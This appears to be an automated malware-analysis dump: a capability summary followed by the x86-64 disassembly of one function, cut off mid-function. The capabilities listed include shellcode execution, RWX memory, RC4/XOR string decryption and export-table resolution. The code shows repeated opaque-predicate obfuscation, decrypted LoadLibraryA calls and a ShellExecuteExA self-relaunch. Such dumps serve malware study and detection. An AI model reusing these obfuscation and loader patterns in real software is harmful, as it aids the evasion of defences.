Function at 0x14003ca2c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400ab7f0
sub rsp, rax
mov rax, qword [0x140100700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x43]
mov r14d, 0xfbab80df
mov r12d, 0x5b964cd9
cmp rax, r14
jne 0x14003cb1f
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003caff
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003caff
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cb1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov edi, 0xfbab80df
mov ecx, edi
call fcn.1400026e4
mov rax, qword gs:[0x43]
movabs r13, 0xe4d4ec93abfbca11
cmp rax, r14
jne 0x14003cbdf
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cbbf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cbbf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cbdf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
mov esi, 0x110c4ff0
mov ebx, 0x20b853c
cmp rax, r14
jne 0x14003cca2
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cc82
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cc82
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cca2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov ecx, edi
call fcn.14003bfd4
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003cd53
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cd33
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cd33
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cd53
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003cdfd
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cddd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cddd
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cdfd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rdx, [0x1400f0130]
lea rcx, [rbp + 0x998]
call fcn.1400020a8
mov rdx, rax
mov ecx, edi
call fcn.14000308c
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003cec4
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cea4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cea4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cec4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003cf6e
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003cf4e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003cf4e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003cf6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov dword [rbp + 0x90], 0x673feca1
mov dword [rbp + 0x94], 0x91da4175
mov word [rbp + 0x98], 0xaa
xor r15d, r15d
mov edi, r15d
movabs r13, 0x12a982442
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14004c2e4
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14003cf9b
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x43]
cmp rax, r14
movabs r13, 0xe4d4ec93abfbca11
jne 0x14003d097
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d077
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d077
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d097
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d152
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d132
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d132
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d152
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov dword [rbp + 0x1f0], 0xf0906923
mov dword [rbp + 0x1f4], 0x6168fcee
mov dword [rbp + 0x1f8], 0x3dcfbb57
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14004bf40
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14003d185
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
jne 0x14003d27d
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d25d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d25d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d27d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14003c1f0
test eax, eax
jne 0x14003d529
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400d5050
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14003d39a
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400d5050
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x5d559e2
mov word [rbp - 0x6c], 0xeb
movabs rsi, 0x12a982442
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14004c270
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14003d30a
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14004bbc6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14003d3a4
movabs rsi, 0x12a982442
mov word [rsp + 0x78], 0x41
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x41
lea rcx, [rsp + 0x78]
call fcn.14004c118
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14003c070
mov rbx, rax
movdqa xmm0, xmmword [0x1400f61d0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400f5fd0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x47ab4b26
mov dword [rbp + 0xc1c], 0x634b3679
mov dword [rbp + 0xc20], 0x34fd8b77
mov word [rbp + 0xc24], 0xf7
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14004c1fc
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14003d429
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14004d290
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14004d450
lea rcx, [rbp + 0x9d8]
call fcn.14004cda8
lea rcx, [rbp + 0x9b8]
call fcn.14004cda8
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x85
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14004bcf8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14003d4c2
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14004c9fc
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d5e4
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d5c4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d5c4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d5e4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d694
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d674
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d674
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d694
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d74f
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d72f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d72f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d74f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d7f9
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d7d9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d7d9
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d7f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003d8a3
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d883
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d883
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003d8a3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
xor ecx, ecx
call fcn.1400b32c4
mov rbx, rax
mov word [rsp + 0x7c], reloc.WLDAP32.dll_Ordinal_26
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_26
lea rcx, [rsp + 0x7c]
call fcn.14004c118
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xfc9f4804
mov word [rbp - 0x5c], 0xdffa
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14004bfb8
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14003d8f6
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400b67a4
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
jne 0x14003da00
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003d9e0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003d9e0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003da00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003daaa
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003da8a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003da8a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003daaa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov ecx, 2
call fcn.1400b32c4
mov rbx, rax
mov word [rbp - 0x80], Ordinal_35
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_32
lea rcx, [rbp - 0x80]
call fcn.14004c118
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xd5453d28
mov dword [rbp - 0x34], 0x227da9
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14004c188
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14003daf8
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400b67a4
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
jne 0x14003dc01
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003dbe1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003dbe1
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dc01
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003dcab
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003dc8b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003dc8b
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003dcab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov ecx, 1
call fcn.1400b32c4
mov rbx, rax
mov word [rbp - 0x7c], Ordinal_35
movabs r13, 0x12a982442
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, Ordinal_32
lea rcx, [rbp - 0x7c]
call fcn.14004c118
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xd5453d28
mov dword [rbp - 0x2c], 0x227da9
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14004c188
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14003dcf9
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400b67a4
mov rax, qword gs:[0x43]
cmp rax, r14
movabs r13, 0xe4d4ec93abfbca11
jne 0x14003ddf3
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ddd3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ddd3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ddf3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r14
jne 0x14003de9d
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003de7d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003de7d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003de9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f6190]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [str.__]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400f61b0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x934be176
mov dword [rbp + 0xd4c], 0x7891508f
mov dword [rbp + 0xd50], 0xc1a37a2d
mov word [rbp + 0xd54], 0x9952
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r12, 0x12a982442
mov qword [rsp + 0x20], r12
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14004c0a4
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14003df09
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140001f4c
mov rax, qword gs:[0x43]
cmp rax, r14
mov r12d, 0x5b964cd9
mov ebx, 0x20b853c
jne 0x14003e015
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003dff5
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003dff5
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003e015
mov rax, qword [rbp + 0xf40]
